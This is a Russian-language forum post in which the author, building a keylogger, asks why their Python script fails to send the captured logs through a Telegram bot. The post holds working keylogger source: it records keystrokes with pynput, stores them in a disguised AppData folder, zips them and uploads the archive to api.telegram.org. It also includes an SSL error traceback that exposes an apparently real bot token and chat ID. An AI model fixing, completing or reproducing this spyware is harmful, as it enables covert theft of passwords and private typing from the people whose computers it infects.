Не могу отправить новосозданный архив при помощи Python через бота
Есть проблема. Не могу отправить только что созданный (при помощи Python) архив через бота. Делаю кейлоггер с отправкой через ТГ бота.
Код:
from pynput import keyboard
import os
import telebot
import shutil
try:
os.mkdir("C:\\Users\\user\\AppData\\Cache")
except FileExistsError:
pass
os.chdir("C:\\Users\\user\\AppData\\Cache")
bot = telebot.TeleBot('токен')
count_log_out = 0
log = ''
def process_key_press(key):
global count_log_out
global log
key = str(key)
if len(key) == 3:
key = key[1]
elif key == 'Key.space':
key = " "
elif key == 'Key.esc':
return False
else:
key = f' {key[4:]} '
log += str(key)
if len(log) >= 1:
write_file(log)
log = ''
count_log_out += 1
def write_file(key):
global count_log_out
with open("log.txt", "a+") as logs:
k = str(key)
if k.find("key") == -1:
logs.write(str(log))
if count_log_out >=50:
os.chdir("C:\\Users\\user\\AppData")
shutil.make_archive('All_logs', 'zip', "Cache")
out_log = bot.send_document(message.from_user.id, open("All_logs.zip", "rb"))
print(out_log)
count_log_out = 0
keyboard_listener = keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
keyboard_listener.join()
Сама ошибка:
Traceback (most recent call last):
File "a:\Andrey_dev\secret\script2.py", line 84, in <module>
keyboard_listener.join()
File "A:\Python 3.10.4\lib\site-packages\pynput\_util\__init__.py", line 276, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "A:\Python 3.10.4\lib\site-packages\six.py", line 718, in reraise
raise value.with_traceback(tb)
File "A:\Python 3.10.4\lib\site-packages\pynput\_util\__init__.py", line 228, in inner
return f(self, *args, **kwargs)
File "A:\Python 3.10.4\lib\site-packages\pynput\keyboard\_win32.py", line 287, in _process
self.on_press(key)
File "A:\Python 3.10.4\lib\site-packages\pynput\_util\__init__.py", line 144, in inner
if f(*args) is False:
File "a:\Andrey_dev\secret\script2.py", line 56, in process_key_press
write_file(log)
File "a:\Andrey_dev\secret\script2.py", line 77, in write_file
out_log = bot.send_document(760569979, open("All_logs.zip", "rb"))
File "A:\Python 3.10.4\lib\site-packages\telebot\__init__.py", line 1249, in send_document
apihelper.send_data(
File "A:\Python 3.10.4\lib\site-packages\telebot\apihelper.py", line 900, in send_data
return _make_request(token, method_url, params=payload, files=files, method='post')
File "A:\Python 3.10.4\lib\site-packages\telebot\apihelper.py", line 146, in _make_request
result = _get_req_session().request(
File "A:\Python 3.10.4\lib\site-packages\requests\sessions.py", line 529, in request
resp = self.send(prep, **send_kwargs)
File "A:\Python 3.10.4\lib\site-packages\requests\sessions.py", line 645, in send
r = adapter.send(request, **kwargs)
File "A:\Python 3.10.4\lib\site-packages\requests\adapters.py", line 517, in send
raise SSLError(e, request=request)
requests.exceptions.SSLError: HTTPSConnectionPool(host='api.telegram.org', port=443): Max retries exceeded with url: /bot5380162502:AAHn48q3_vn-yTNehMjdfpMEtAdz4LABct0/sendDocument?chat_id=760569979 (Caused by SSLError(SSLWantWriteError(3, 'The operation did not complete (write) (_ssl.c:2396)')))
Есть идеи?